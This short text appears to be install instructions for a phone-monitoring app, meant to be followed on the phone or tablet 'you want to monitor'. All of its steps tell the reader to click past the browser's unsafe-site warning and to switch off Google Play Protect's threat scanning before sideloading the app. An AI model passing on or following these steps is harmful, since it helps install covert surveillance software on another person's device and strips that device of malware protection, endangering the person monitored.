Open this website from the phone or tablet you want to monitor and then Download and Install the application.

1. Follow these steps if you see the red screen.

Step 1: Click on "Details"
Step 2: Click on "visit this unsafe site"

2. Disable Package Verifier (before downloading the app). See how below.

Step 1: Open Play Store (Google Play).
Step 2: Tap on Play Protect from the left menu.
Step 3: Uncheck "Scan device for security threats".